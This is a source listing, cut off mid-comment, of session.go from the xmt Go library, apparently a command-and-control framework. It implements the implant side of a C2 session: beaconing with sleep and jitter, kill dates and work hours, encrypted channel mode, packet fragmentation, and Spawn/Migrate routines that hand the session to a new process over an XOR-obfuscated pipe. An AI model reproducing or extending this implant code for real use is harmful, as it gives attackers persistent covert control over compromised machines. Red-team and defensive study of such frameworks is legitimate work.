github.com/iDigitalFlame/xmt@v0.5.4/c2/session.go (about) 1 // Copyright (C) 2020 - 2023 iDigitalFlame 2 // 3 // This program is free software: you can redistribute it and/or modify 4 // it under the terms of the GNU General Public License as published by 5 // the Free Software Foundation, either version 3 of the License, or 6 // any later version. 7 // 8 // This program is distributed in the hope that it will be useful, 9 // but WITHOUT ANY WARRANTY; without even the implied warranty of 10 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 // GNU General Public License for more details. 12 // 13 // You should have received a copy of the GNU General Public License 14 // along with this program. If not, see <https://www.gnu.org/licenses/>. 15 // 16 17 package c2 18 19 import ( 20 "context" 21 "io" 22 "net" 23 "sync/atomic" 24 "time" 25 "unsafe" 26 27 "github.com/iDigitalFlame/xmt/c2/cfg" 28 "github.com/iDigitalFlame/xmt/c2/cout" 29 "github.com/iDigitalFlame/xmt/com" 30 "github.com/iDigitalFlame/xmt/com/limits" 31 "github.com/iDigitalFlame/xmt/com/pipe" 32 "github.com/iDigitalFlame/xmt/data" 33 "github.com/iDigitalFlame/xmt/data/crypto" 34 "github.com/iDigitalFlame/xmt/device/local" 35 "github.com/iDigitalFlame/xmt/util" 36 "github.com/iDigitalFlame/xmt/util/bugtrack" 37 "github.com/iDigitalFlame/xmt/util/xerr" 38 ) 39 40 const ( 41 sleepMod = 5 42 maxErrors = 5 43 ) 44 const spawnDefaultTime = time.Second * 10 45 const ( 46 infoHello uint8 = 0 47 infoMigrate uint8 = iota 48 infoRefresh 49 infoSync 50 infoProxy 51 infoSyncMigrate 52 ) 53 const ( 54 timeSleepJitter uint8 = 0 55 timeKillDate uint8 = iota 56 timeWorkHours 57 ) 58 59 var ( 60 // ErrFullBuffer is returned from the WritePacket function when the send 61 // buffer for the Session is full. 62 // 63 // This error also indicates that a call to 'Send' would block. 64 ErrFullBuffer = xerr.Sub("send buffer is full", 0x4C) 65 // ErrInvalidPacketCount is returned when attempting to read a packet marked 66 // as multi or frag and the total count returned is zero. 67 ErrInvalidPacketCount = xerr.Sub("frag/multi total is zero on a frag/multi packet", 0x4D) 68 ) 69 70 // Wait will block until the current Session is closed and shutdown. 71 func (s *Session) Wait() { 72 <-s.ch 73 } 74 func (s *Session) wait() { 75 if s.state.Closing() { 76 return 77 } 78 if s.IsClient() && s.work != nil { 79 for w := s.work.Work(); w > 0; w = s.work.Work() { 80 for len(s.tick.C) > 0 { // Drain the ticker. 81 <-s.tick.C 82 } 83 if cout.Enabled { 84 s.log.Debug(`[%s] WorkHours instructed us to wait for "%s".`, s.ID, w.String()) 85 } 86 s.tick.Reset(w) // Repurpose sleep timer for wait timer. 87 select { 88 case <-s.wake: 89 case <-s.tick.C: 90 case <-s.ctx.Done(): 91 s.state.Set(stateClosing) 92 return 93 } 94 } 95 for len(s.tick.C) > 0 { // Drain the ticker. 96 <-s.tick.C 97 } 98 } 99 if s.IsClient() && !s.kill.IsZero() && time.Now().After(s.kill) { 100 if cout.Enabled { 101 s.log.Info(`[%s] Kill Date "%s" was hit, triggering shutdown!`, s.ID, s.kill.Format(time.UnixDate)) 102 } 103 s.state.Set(stateClosing) 104 return 105 } 106 if s.sleep < 1 { 107 return 108 } 109 w := s.sleep 110 if s.jitter > 0 && s.jitter < 101 { 111 if (s.jitter == 100 || uint8(util.FastRandN(100)) < s.jitter) && w > time.Millisecond { 112 d := util.Rand.Int63n(int64(w / time.Millisecond)) 113 if util.FastRandN(2) == 1 { 114 d = d * -1 115 } 116 if w += time.Duration(d) * time.Millisecond; w < 0 { 117 w = w * -1 118 } 119 if w == 0 { 120 w = s.sleep 121 } 122 } 123 } 124 if s.tick == nil { 125 s.tick = newSleeper(w) 126 } else { 127 for len(s.tick.C) > 0 { // Drain the ticker. 128 <-s.tick.C 129 } 130 s.tick.Reset(w) 131 } 132 if cout.Enabled { 133 s.log.Trace("[%s] Sleeping for %s.", s.ID, w) 134 } 135 select { 136 case <-s.wake: 137 case <-s.tick.C: 138 case <-s.ctx.Done(): 139 s.state.Set(stateClosing) 140 } 141 } 142 143 // Wake will interrupt the sleep of the current Session thread. This will 144 // trigger the send and receive functions of this Session. 145 // 146 // This is not valid for Server side Sessions. 147 func (s *Session) Wake() { 148 if s.wake == nil || !s.IsClient() || s.state.WakeClosed() { 149 return 150 } 151 select { 152 case s.wake <- wake: 153 default: 154 } 155 } 156 func (s *Session) listen() { 157 if !s.IsClient() { 158 // NOTE(dij): Server side sessions shouldn't be running this, bail. 159 return 160 } 161 if bugtrack.Enabled { 162 defer bugtrack.Recover("c2.Session.listen()") 163 } 164 var ( 165 z = func() {} 166 e bool 167 ) 168 for s.wait(); ; s.wait() { 169 if cout.Enabled { 170 s.log.Trace("[%s] Waking up..", s.ID) 171 } 172 if s.errors == 0 { 173 // If the previous session ended with no errors, check Frags first 174 // to prevent stalling the connect loop. 175 s.markSweepFrags() 176 } 177 if s.state.Closing() { 178 if s.state.Moving() { 179 if cout.Enabled { 180 s.log.Info("[%s] Session is being migrated, closing down our threads!", s.ID) 181 } 182 break 183 } 184 if cout.Enabled { 185 s.log.Info("[%s] Shutdown indicated, queuing final Shutdown Packet.", s.ID) 186 } 187 // NOTE(dij): This action disregards the packet that might be 188 // in the peek queue. Not sure if we should worry about 189 // this one tbh. 190 s.peek = &com.Packet{ID: SvShutdown, Device: s.ID} 191 s.state.Set(stateShutdown) 192 s.state.Unset(stateChannelValue) 193 s.state.Unset(stateChannelUpdated) 194 s.state.Unset(stateChannel) 195 select { 196 case <-s.ctx.Done(): 197 // Base context is canceled, so let's add fake timeout context to 198 // replace this one. 10 seconds seems fair. 199 s.ctx, z = context.WithTimeout(context.Background(), spawnDefaultTime) 200 default: 201 } 202 } 203 if s.host.Unwrap(); s.swap != nil { 204 if s.p, s.swap = s.swap, nil; cout.Enabled { 205 s.log.Debug("[%s] Performing a Profile swap!", s.ID) 206 } 207 var h string 208 if h, s.w, s.t = s.p.Next(); len(h) > 0 { 209 s.host.Set(h) 210 } 211 if d := s.p.Sleep(); d > 0 { 212 s.sleep = d 213 } 214 if j := s.p.Jitter(); j >= 0 && j <= 100 { 215 s.jitter = uint8(j) 216 } 217 if k, ok := s.p.KillDate(); ok { 218 s.kill = k 219 } 220 if w := s.p.WorkHours(); w != nil { 221 if w.Empty() { 222 s.work = nil 223 } else { 224 s.work = w 225 } 226 } 227 } 228 if s.p.Switch(e) { 229 var h string 230 if h, s.w, s.t = s.p.Next(); len(h) > 0 { 231 s.host.Set(h) 232 } 233 s.errors-- 234 } 235 c, err := s.p.Connect(s.ctx, s.host.String()) 236 s.host.Wrap() 237 if e = false; err != nil { 238 if s.state.Closing() { 239 break 240 } 241 if cout.Enabled { 242 s.log.Error(`[%s] Error attempting to connect to "%s": %s!`, s.ID, s.host, err.Error()) 243 } 244 if e = true; s.errors <= maxErrors { 245 s.errors++ 246 continue 247 } 248 if cout.Enabled { 249 s.log.Error("[%s] Too many errors, closing Session!", s.ID) 250 } 251 break 252 } 253 if cout.Enabled { 254 s.log.Debug(`[%s] Connected to "%s"..`, s.ID, s.host) 255 } 256 if e = !s.session(c); e { 257 s.errors++ 258 } else { 259 s.errors = 0 260 } 261 if c.Close(); s.errors > maxErrors { 262 if cout.Enabled { 263 s.log.Error("[%s] Too many errors, closing Session!", s.ID) 264 } 265 break 266 } 267 if s.state.Shutdown() { 268 break 269 } 270 } 271 // If a temp context was added, clear it. 272 if z(); cout.Enabled { 273 s.log.Trace("[%s] Stopping transaction thread..", s.ID) 274 } 275 s.shutdown() 276 } 277 func (s *Session) shutdown() { 278 if s.Shutdown != nil && !s.state.Moving() { 279 s.m.queue(event{s: s, sf: s.Shutdown}) 280 } 281 if s.proxy != nil { 282 _ = s.proxy.Close() 283 } 284 if s.lock.Lock(); !s.state.SendClosed() { 285 s.state.Set(stateSendClose) 286 close(s.send) 287 } 288 if s.wake != nil && !s.state.WakeClosed() { 289 s.state.Set(stateWakeClose) 290 close(s.wake) 291 } 292 if s.recv != nil && !s.state.CanRecv() && !s.state.RecvClosed() { 293 s.state.Set(stateRecvClose) 294 close(s.recv) 295 } 296 if s.tick != nil { 297 s.tick.Stop() 298 } 299 if s.state.Set(stateClosed); !s.IsClient() { 300 s.s.Remove(s.ID, false) 301 } 302 s.m.close() 303 if s.lock.Unlock(); s.isMoving() { 304 return 305 } 306 close(s.ch) 307 } 308 309 // Close stops the listening thread from this Session and releases all 310 // associated resources. 311 // 312 // This function blocks until the running threads close completely. 313 func (s *Session) Close() error { 314 return s.close(true) 315 } 316 317 // Jitter returns the Jitter percentage value. Values of zero (0) indicate that 318 // Jitter is disabled. 319 func (s *Session) Jitter() uint8 { 320 return s.jitter 321 } 322 323 // IsProxy returns true when a Proxy has been attached to this Session and is 324 // active. 325 func (s *Session) IsProxy() bool { 326 return !s.state.Closing() && s.IsClient() && s.proxy != nil && s.proxy.IsActive() 327 } 328 func (s *Session) isMoving() bool { 329 return s.IsClient() && s.state.Moving() 330 } 331 332 // IsActive returns true if this Session is still able to send and receive 333 // Packets. 334 func (s *Session) IsActive() bool { 335 return !s.state.Closing() 336 } 337 338 // IsClosed returns true if the Session is considered "Closed" and cannot 339 // send/receive Packets. 340 func (s *Session) IsClosed() bool { 341 return s.state.Closed() 342 } 343 344 // InChannel will return true is this Session sets the Channel flag on any 345 // Packets that flow through this Session, including Proxied clients or if this 346 // Session is currently in Channel mode, even if not explicitly set. 347 func (s *Session) InChannel() bool { 348 return s.state.Channel() || s.state.ChannelValue() 349 } 350 func (s *Session) markSweepFrags() { 351 // Frags have their 'c' (count) value set to '5' every time they receive a 352 // matching Packet. 353 // 354 // If after 5 "rounds" (sleep-n-wake) and no Packets have been received, we 355 // consider it dud and clear/remove it. 356 // 357 // TODO(dij): Is 5 too graceful? Should it be 3 instead? 358 if len(s.frags) == 0 { 359 return 360 } 361 d := make([]uint16, 0, len(s.frags)) 362 for k, v := range s.frags { 363 if v.c--; v.c == 0 { 364 for i := range v.data { 365 v.data[i].Clear() 366 v.data[i] = nil 367 } 368 v.data = nil 369 d = append(d, k) 370 } 371 } 372 for i := range d { 373 s.frags[d[i]] = nil 374 if delete(s.frags, d[i]); cout.Enabled { 375 s.log.Debug("[%s] Clearing out-of-date Frag Group 0x%X.", s.ID, d[i]) 376 } 377 } 378 } 379 380 // Read attempts to grab a Packet from the receiving buffer. 381 // 382 // This function returns nil if the buffer is empty. 383 func (s *Session) Read() *com.Packet { 384 if s.recv == nil || !s.state.CanRecv() { 385 return nil 386 } 387 if len(s.recv) > 0 { 388 return <-s.recv 389 } 390 return nil 391 } 392 393 // SetChannel will disable setting the Channel mode of this Session. 394 // 395 // If true, every Packet sent will trigger Channel mode. This setting does NOT 396 // affect the Session enabling Channel mode if a Packet is sent with the Channel 397 // Flag enabled. 398 // 399 // Changes to this setting will call the 'Wake' function. 400 func (s *Session) SetChannel(c bool) { 401 if s.state.Closing() || s.isMoving() || !s.state.SetChannel(c) { 402 return 403 } 404 if c { 405 s.queue(&com.Packet{Flags: com.FlagChannel, Device: s.ID}) 406 } else { 407 s.queue(&com.Packet{Flags: com.FlagChannelEnd, Device: s.ID}) 408 } 409 if !s.state.Channel() && s.IsClient() && s.wake != nil && len(s.wake) < cap(s.wake) { 410 s.wake <- wake 411 } 412 } 413 414 // RemoteAddr returns a string representation of the remotely connected IP 415 // address. 416 // 417 // This could be the IP address of the c2 server or the public IP of the client. 418 func (s *Session) RemoteAddr() string { 419 return s.host.String() 420 } 421 422 // Send adds the supplied Packet into the stack to be sent to the server on next 423 // wake. This call is asynchronous and returns immediately. 424 // 425 // Unlike 'Write' this function does NOT return an error and will wait if the 426 // send buffer is full. 427 func (s *Session) Send(p *com.Packet) { 428 s.write(true, p) 429 } 430 func (s *Session) close(w bool) error { 431 if s.state.Closing() { 432 return nil 433 } 434 if !s.IsClient() && !s.state.ShutdownWait() { 435 s.peek = &com.Packet{ID: SvShutdown, Device: s.ID} 436 if !s.state.SendClosed() { 437 for len(s.send) > 0 { 438 <-s.send // Clear the send queue. 439 } 440 } 441 s.state.Unset(stateChannelValue) 442 s.state.Unset(stateChannelUpdated) 443 s.state.Unset(stateChannel) 444 return nil 445 } 446 s.state.Unset(stateChannelValue) 447 s.state.Unset(stateChannelUpdated) 448 s.state.Unset(stateChannel) 449 if s.state.Set(stateClosing); !s.IsClient() { 450 s.shutdown() 451 return nil 452 } 453 if s.Wake(); w { 454 <-s.ch 455 } 456 return nil 457 } 458 func (s *Session) pickWait(o *uint32) { 459 if bugtrack.Enabled { 460 defer bugtrack.Recover("c2.Session.pickWait()") 461 } 462 if s.wait(); atomic.LoadUint32(o) != 0 { 463 return 464 } 465 if n := s.keyNextSync(); n != nil { 466 s.send <- n 467 } else { 468 s.send <- &com.Packet{Device: s.ID} 469 } 470 } 471 func (s *Session) queue(n *com.Packet) { 472 if s.state.SendClosed() { 473 return 474 } 475 if n.Device.Empty() { 476 if n.Device = local.UUID; bugtrack.Enabled { 477 bugtrack.Track("c2.(*Session).queue(): Found an empty ID value during Packet n=%s queue!", n) 478 } 479 } 480 if cout.Enabled { 481 s.log.Trace(`[%s] Adding Packet "%s" to queue.`, s.ID, n) 482 } 483 if s.chn != nil { 484 select { 485 case s.chn <- n: 486 default: 487 if cout.Enabled { 488 s.log.Warning(`[%s] Packet "%s" was dropped during a call to queue! (Maybe increase the chan size?)`, s.ID, n) 489 } 490 } 491 return 492 } 493 select { 494 case s.send <- n: 495 default: 496 if cout.Enabled { 497 s.log.Warning(`[%s] Packet "%s" was dropped during a call to queue! (Maybe increase the chan size?)`, s.ID, n) 498 } 499 } 500 } 501 502 // Time returns the value for the timeout period between C2 Server connections. 503 func (s *Session) Time() time.Duration { 504 return s.sleep 505 } 506 507 // KillDate returns the current KillDate of this Session. If there is no KillDate 508 // set, this function returns an empty 'time.Time' instance. 509 func (s *Session) KillDate() time.Time { 510 return s.kill 511 } 512 513 // Done returns a channel that's closed when this Session is closed. 514 // 515 // This can be used to monitor a Session's status using a select statement. 516 func (s *Session) Done() <-chan struct{} { 517 return s.ch 518 } 519 func (s *Session) channelRead(x net.Conn) { 520 if bugtrack.Enabled { 521 defer bugtrack.Recover("c2.Session.channelRead()") 522 } 523 if cout.Enabled { 524 s.log.Info("[%s:C->S:R] %s: Started Channel writer.", s.ID, s.host) 525 } 526 for x.SetReadDeadline(time.Now().Add(s.sleep * sleepMod)); s.state.Channel(); x.SetReadDeadline(time.Now().Add(s.sleep * sleepMod)) { 527 n, err := readPacket(x, s.w, s.t) 528 if err != nil { 529 if cout.Enabled { 530 s.log.Error("[%s:C->S:R] %s: Error reading next wire Packet: %s!", s.ID, s.host, err.Error()) 531 } 532 break 533 } 534 // KeyCrypt: Decrypt incoming Packet here to be read. 535 if n.KeyCrypt(s.keys); cout.Enabled { 536 s.log.Trace(`[%s:C->S:R] %s: Received a Packet "%s".`, s.ID, s.host, n) 537 } 538 if err = receive(s, s.parent, n); err != nil { 539 if cout.Enabled { 540 s.log.Error("[%s:C->S:R] %s: Error processing Packet data: %s!", s.ID, s.host, err.Error()) 541 } 542 break 543 } 544 if s.Last = time.Now(); n.Flags&com.FlagChannelEnd != 0 || s.state.ChannelCanStop() { 545 if cout.Enabled { 546 s.log.Debug("[%s:C->S:R] Session/Packet indicated channel close!", s.ID) 547 } 548 break 549 } 550 } 551 if x.SetDeadline(time.Now().Add(-time.Second)); cout.Enabled { 552 s.log.Debug("[%s:C->S:R] Closed Channel reader.", s.ID) 553 } 554 } 555 func (s *Session) channelWrite(x net.Conn) { 556 if cout.Enabled { 557 s.log.Debug("[%s:C->S:W] %s: Started Channel writer.", s.ID, s.host) 558 } 559 for x.SetDeadline(time.Now().Add(s.sleep * sleepMod)); s.state.Channel(); x.SetDeadline(time.Now().Add(s.sleep * sleepMod)) { 560 n := s.next(false) 561 if n == nil { 562 if cout.Enabled { 563 s.log.Debug("[%s:C->S:W] Session indicated channel close!", s.ID) 564 } 565 break 566 } 567 if s.state.ChannelCanStop() { 568 n.Flags |= com.FlagChannelEnd 569 } 570 // KeyCrypt: Encrypt new Packet here to be sent. 571 if n.KeyCrypt(s.keys); cout.Enabled { 572 s.log.Debug(`[%s:C->S:W] %s: Sending Packet "%s".`, s.ID, s.host, n) 573 } 574 if err := writePacket(x, s.w, s.t, n); err != nil { 575 if n.Clear(); cout.Enabled { 576 if isClosedError(err) { 577 s.log.Debug("[%s:C->S:W] %s: Write channel socket closed.", s.ID, s.host) 578 } else { 579 s.log.Error("[%s:C->S:W] %s: Error attempting to write Packet: %s!", s.ID, s.host, err.Error()) 580 } 581 } 582 // KeyCrypt: Revert key exchange as send failed. 583 s.keyCheckRevert() 584 break 585 } 586 // KeyCrypt: "next" was called, check for a Key Swap. 587 s.keyCheckSync() 588 if n.Clear(); n.Flags&com.FlagChannelEnd != 0 || s.state.ChannelCanStop() { 589 if cout.Enabled { 590 s.log.Debug("[%s:C->S:W] Session/Packet indicated channel close!", s.ID) 591 } 592 break 593 } 594 } 595 if x.Close(); cout.Enabled { 596 s.log.Debug("[%s:S->C:W] Closed Channel writer.", s.ID) 597 } 598 } 599 func (s *Session) session(c net.Conn) bool { 600 n := s.next(false) 601 if s.state.Unset(stateChannel); s.state.ChannelCanStart() { 602 if n.Flags |= com.FlagChannel; cout.Enabled { 603 s.log.Trace("[%s] %s: Setting Channel flag on next Packet!", s.ID, s.host) 604 } 605 s.state.Set(stateChannel) 606 } else if n.Flags&com.FlagChannel != 0 { 607 if cout.Enabled { 608 s.log.Trace("[%s] %s: Channel was set by next incoming Packet!", s.ID, s.host) 609 } 610 s.state.Set(stateChannel) 611 } 612 // KeyCrypt: Do NOT encrypt hello Packets. 613 if n.ID != SvHello { 614 // KeyCrypt: Encrypt new Packet here to be sent. 615 n.KeyCrypt(s.keys) 616 } 617 if cout.Enabled { 618 s.log.Trace(`[%s] %s: Sending Packet "%s".`, s.ID, s.host, n) 619 } 620 err := writePacket(c, s.w, s.t, n) 621 if n.Clear(); err != nil { 622 if cout.Enabled { 623 s.log.Error("[%s] %s: Error attempting to write Packet: %s!", s.ID, s.host, err.Error()) 624 } 625 // KeyCrypt: Revert key exchange as send failed. 626 s.keyCheckRevert() 627 return false 628 } 629 // KeyCrypt: "next" was called, check for a Key Swap. 630 if s.keyCheckSync() != nil { 631 return false 632 } 633 if n.Flags&com.FlagChannel != 0 && !s.state.Channel() { 634 s.state.Set(stateChannel) 635 } 636 n = nil 637 if n, err = readPacket(c, s.w, s.t); err != nil { 638 if cout.Enabled { 639 s.log.Error("[%s] %s: Error attempting to read Packet: %s!", s.ID, s.host, err.Error()) 640 } 641 return false 642 } 643 if n.ID != SvComplete { 644 // KeyCrypt: Decrypt incoming Packet here to be read (if not a SvComplete). 645 n.KeyCrypt(s.keys) 646 } 647 if n.Flags&com.FlagChannel != 0 && !s.state.Channel() { 648 if s.state.Set(stateChannel); cout.Enabled { 649 s.log.Trace("[%s] %s: Enabling Channel as received Packet has a Channel flag!", s.ID, s.host) 650 } 651 } 652 if cout.Enabled { 653 s.log.Debug(`[%s] %s: Received a Packet "%s"..`, s.ID, s.host, n) 654 } 655 if err = receive(s, s.parent, n); err != nil { 656 if n.Clear(); cout.Enabled { 657 s.log.Error("[%s] %s: Error processing packet data: %s!", s.ID, s.host, err.Error()) 658 } 659 return false 660 } 661 if !s.state.Channel() { 662 return true 663 } 664 go s.channelRead(c) 665 s.channelWrite(c) 666 c.SetDeadline(time.Now().Add(-time.Second)) 667 s.state.Unset(stateChannel) 668 return true 669 } 670 func (s *Session) pick(i bool) *com.Packet { 671 if s.peek != nil { 672 n := s.peek 673 s.peek = nil 674 return n 675 } 676 if len(s.send) > 0 { 677 return <-s.send 678 } 679 switch { 680 case !s.IsClient() && s.state.Channel(): 681 select { 682 case <-s.wake: 683 return nil 684 case n := <-s.send: 685 return n 686 } 687 case !i && s.parent == nil && s.state.Channel(): 688 var o uint32 689 go s.pickWait(&o) 690 n := <-s.send 691 atomic.StoreUint32(&o, 1) 692 return n 693 case i: 694 return nil 695 } 696 if n := s.keyNextSync(); n != nil { 697 return n 698 } 699 return &com.Packet{Device: s.ID} 700 } 701 func (s *Session) next(i bool) *com.Packet { 702 n := s.pick(i) 703 if n == nil { 704 return nil 705 } 706 if s.proxy != nil && s.proxy.IsActive() { 707 n.Tags = s.proxy.tags() 708 } 709 if len(s.send) == 0 && verifyPacket(n, s.ID) { 710 s.accept(n.Job) 711 s.state.SetLast(0) 712 return n 713 } 714 t := n.Tags 715 if l := s.state.Last(); l > 0 { 716 for n.Flags.Group() == l && len(s.send) > 0 { 717 n = <-s.send 718 } 719 if s.state.SetLast(0); n == nil || n.Flags.Group() == l { 720 return &com.Packet{Device: s.ID, Tags: t} 721 } 722 } 723 n, s.peek = nextPacket(s, s.send, n, s.ID, t) 724 n.Tags = mergeTags(n.Tags, t) 725 return n 726 } 727 728 // Write adds the supplied Packet into the stack to be sent to the server on the 729 // next wake. This call is asynchronous and returns immediately. 730 // 731 // 'ErrFullBuffer' will be returned if the send buffer is full. 732 func (s *Session) Write(p *com.Packet) error { 733 return s.write(false, p) 734 } 735 736 // WorkHours returns the current WorkHours of this Session. If there is no WorkHours 737 // set, this function returns nil. 738 func (s *Session) WorkHours() *cfg.WorkHours { 739 return s.work 740 } 741 742 // Packets will create and set up the Packet receiver channel. This function will 743 // then return the read-only Packet channel for use. 744 // 745 // This function is safe to use multiple times as it will return the same chan 746 // if it already exists. 747 func (s *Session) Packets() <-chan *com.Packet { 748 if s.recv != nil && s.state.CanRecv() { 749 return s.recv 750 } 751 if s.isMoving() { 752 return nil 753 } 754 s.lock.Lock() 755 s.recv = make(chan *com.Packet, 128) 756 if s.state.Set(stateCanRecv); cout.Enabled { 757 s.log.Info("[%s] Enabling Packet receive channel.", s.ID) 758 } 759 s.lock.Unlock() 760 return s.recv 761 } 762 func (s *Session) write(w bool, n *com.Packet) error { 763 if s.state.Closing() || s.state.SendClosed() { 764 return io.ErrClosedPipe 765 } 766 if limits.Frag <= 0 || n.Size() <= limits.Frag { 767 if !w { 768 switch { 769 case s.chn != nil && len(s.chn)+1 >= cap(s.chn): 770 fallthrough 771 case len(s.send)+1 >= cap(s.send): 772 return ErrFullBuffer 773 } 774 } 775 if s.queue(n); s.state.Channel() { 776 s.Wake() 777 } 778 return nil 779 } 780 m := n.Size() / limits.Frag 781 if (m+1)*limits.Frag < n.Size() { 782 m++ 783 } 784 if !w && len(s.send)+m >= cap(s.send) { 785 return ErrFullBuffer 786 } 787 var ( 788 x = int64(n.Size()) 789 g = uint16(util.FastRand()) 790 err error 791 t, v int64 792 ) 793 m++ 794 for i := 0; i < m && t < x; i++ { 795 c := &com.Packet{ID: n.ID, Job: n.Job, Flags: n.Flags, Chunk: data.Chunk{Limit: limits.Frag}} 796 c.Flags.SetGroup(g) 797 c.Flags.SetLen(uint16(m)) 798 c.Flags.SetPosition(uint16(i)) 799 if v, err = n.WriteTo(c); err != nil && err != data.ErrLimit { 800 c.Flags.SetLen(0) 801 c.Flags.SetPosition(0) 802 c.Flags.Set(com.FlagError) 803 c.Reset() 804 c.WriteUint8(0) 805 } 806 t += v 807 if s.queue(c); s.state.Channel() { 808 s.Wake() 809 } 810 } 811 n.Clear() 812 return err 813 } 814 815 // Spawn will execute the provided runnable and will wait up to the provided 816 // duration to transfer profile and Session information to the new runnable 817 // using a Pipe connection with the name provided. Once complete, and additional 818 // copy of this Session (with a different ID) will exist. 819 // 820 // This function uses the Profile that was used to create this Session. This 821 // will fail if the Profile is not binary Marshalable. 822 // 823 // The return values for this function are the new PID used and any errors that 824 // may have occurred during the Spawn. 825 func (s *Session) Spawn(n string, r runnable) (uint32, error) { 826 return s.SpawnProfile(n, nil, 0, r) 827 } 828 func (s *Session) writeDeviceInfo(t uint8, w data.Writer) error { 829 switch t { 830 case infoProxy: 831 return s.writeProxyData(false, w) 832 case infoHello, infoRefresh, infoSyncMigrate: 833 if err := s.Device.MarshalStream(w); err != nil { 834 return err 835 } 836 case infoMigrate: 837 if err := s.ID.Write(w); err != nil { 838 return err 839 } 840 } 841 if err := w.WriteUint8(s.jitter); err != nil { 842 return err 843 } 844 if err := w.WriteInt64(int64(s.sleep)); err != nil { 845 return err 846 } 847 if !s.kill.IsZero() { 848 if err := w.WriteInt64(s.kill.Unix()); err != nil { 849 return err 850 } 851 } else { 852 if err := w.WriteInt64(0); err != nil { 853 return err 854 } 855 } 856 if s.work != nil { 857 if err := s.work.MarshalStream(w); err != nil { 858 return err 859 } 860 } else { 861 if err := w.WriteUint32(0); err != nil { 862 return err 863 } 864 if err := w.WriteUint8(0); err != nil { 865 return err 866 } 867 } 868 if t > infoRefresh { 869 return nil 870 } 871 if err := s.writeProxyData(true, w); err != nil { 872 return err 873 } 874 if t != infoMigrate { 875 return nil 876 } 877 return s.keys.Marshal(w) 878 } 879 func (s *Session) readDeviceInfo(t uint8, r data.Reader) ([]proxyData, error) { 880 switch t { 881 case infoProxy: 882 return readProxyData(false, r) 883 case infoHello, infoRefresh, infoSyncMigrate: 884 if err := s.Device.UnmarshalStream(r); err != nil { 885 return nil, err 886 } 887 case infoMigrate: 888 if err := s.ID.Read(r); err != nil { 889 return nil, err 890 } 891 } 892 if err := r.ReadUint8(&s.jitter); err != nil { 893 return nil, err 894 } 895 if err := r.ReadInt64((*int64)(unsafe.Pointer(&s.sleep))); err != nil { 896 return nil, err 897 } 898 v, err := r.Int64() 899 if err != nil { 900 return nil, err 901 } 902 if v == 0 { 903 s.kill = time.Time{} 904 } else { 905 s.kill = time.Unix(v, 0) 906 } 907 var w cfg.WorkHours 908 if err = w.UnmarshalStream(r); err != nil { 909 return nil, err 910 } 911 if !w.Empty() { 912 s.work = &w 913 } else { 914 s.work = nil 915 } 916 if t > infoRefresh { 917 return nil, nil 918 } 919 p, err := readProxyData(true, r) 920 if err != nil { 921 return nil, err 922 } 923 if t != infoMigrate { 924 return p, nil 925 } 926 return p, s.keys.Unmarshal(r) 927 } 928 929 // Migrate will execute the provided runnable and will wait up to 60 seconds 930 // (can be changed using 'MigrateProfile') to transfer execution control to the 931 // new runnable using a Pipe connection with the name provided. 932 // 933 // This function uses the Profile that was used to create this Session. This 934 // will fail if the Profile is not binary Marshalable. 935 // 936 // If 'wait' is true, this will wait for all events to complete before starting 937 // the Migration process. 938 // 939 // The provided JobID will be used to indicate to the server that the associated 940 // Migration Task was completed, as the new client will send a 'RvResult' with 941 // the associated JobID once Migration has completed successfully. 942 // 943 // The return values for this function are the new PID used and any errors that 944 // may have occurred during Migration. 945 func (s *Session) Migrate(wait bool, n string, job uint16, r runnable) (uint32, error) { 946 return s.MigrateProfile(wait, n, nil, job, 0, r) 947 } 948 949 // SpawnProfile will execute the provided runnable and will wait up to the 950 // provided duration to transfer profile and Session information to the new runnable 951 // using a Pipe connection with the name provided. Once complete, and additional 952 // copy of this Session (with a different ID) will exist. 953 // 954 // This function uses the provided profile bytes unless the byte slice is empty, 955 // then this will use the Profile that was used to create this Session. This 956 // will fail if the Profile is not binary Marshalable. 957 // 958 // The return values for this function are the new PID used and any errors that 959 // may have occurred during the Spawn. 960 func (s *Session) SpawnProfile(n string, b []byte, t time.Duration, e runnable) (uint32, error) { 961 if !s.IsClient() { 962 return 0, xerr.Sub("must be a client session", 0x4E) 963 } 964 if s.isMoving() { 965 return 0, xerr.Sub("migration in progress", 0x4F) 966 } 967 if len(n) == 0 { 968 return 0, xerr.Sub("empty or invalid loader name", 0x43) 969 } 970 var err error 971 if len(b) == 0 { 972 // ^ Use our own Profile if one is not provided. 973 p, ok := s.p.(marshaler) 974 if !ok { 975 return 0, xerr.Sub("cannot marshal Profile", 0x50) 976 } 977 if b, err = p.MarshalBinary(); err != nil { 978 return 0, xerr.Wrap("cannot marshal Profile", err) 979 } 980 } 981 if t <= 0 { 982 t = spawnDefaultTime 983 } 984 if cout.Enabled { 985 s.log.Info("[%s/SpN] Starting Spawn process!", s.ID) 986 } 987 if err = e.Start(); err != nil { 988 return 0, err 989 } 990 p := e.Pid() 991 if cout.Enabled { 992 s.log.Debug(`[%s/SpN] Started PID %d, waiting %s for pipe "%s"..`, s.ID, p, t, n) 993 } 994 c := spinTimeout(s.ctx, pipe.Format(n+"."+util.Uitoa16(uint64(p))), t) 995 if c == nil { 996 return 0, ErrNoConn 997 } 998 if e.Release(); cout.Enabled { 999 s.log.Debug(`[%s/SpN] Received connection to "%s"!`, s.ID, c.RemoteAddr().String()) 1000 } 1001 var ( 1002 g = crypto.XOR(n) 1003 w = data.NewWriter(crypto.NewXORWriter(g, c)) 1004 r = data.NewReader(crypto.NewXORReader(g, c)) 1005 ) 1006 if err = w.WriteUint16(0); err != nil { 1007 c.Close() 1008 return 0, err 1009 } 1010 if err = w.WriteBytes(b); err != nil { 1011 c.Close() 1012 return 0, err 1013 } 1014 if err = s.writeDeviceInfo(infoSync, w); err != nil { 1015 c.Close() 1016 return 0, err 1017 } 1018 var k uint16 1019 // Set a short arbitrary timeout as we only need to read the "OK" value. 1020 c.SetReadDeadline(time.Now().Add(time.Second * 2)) 1021 if err = r.ReadUint16(&k); err != nil { 1022 c.Close() 1023 return 0, err 1024 } 1025 if c.Close(); k != 0x4F4B { // 0x4F4B == "OK" 1026 return 0, xerr.Sub("unexpected OK value", 0x45) 1027 } 1028 if cout.Enabled { 1029 s.log.Info("[%s/SpN] Received 'OK' from new process, Spawn complete!", s.ID) 1030 } 1031 return p, nil 1032 } 1033 1034 // MigrateProfile will execute the provided runnable and will wait up to the 1035 // provided duration to transfer execution control to the new runnable using a 1036 // Pipe connection with the name provided. 1037 // 1038 // This function uses the provided profile bytes unless the byte slice is empty, 1039 // then this will use the Profile that was used to create this Session. This 1040 // will fail if the Profile is not binary Marshalable. 1041 // 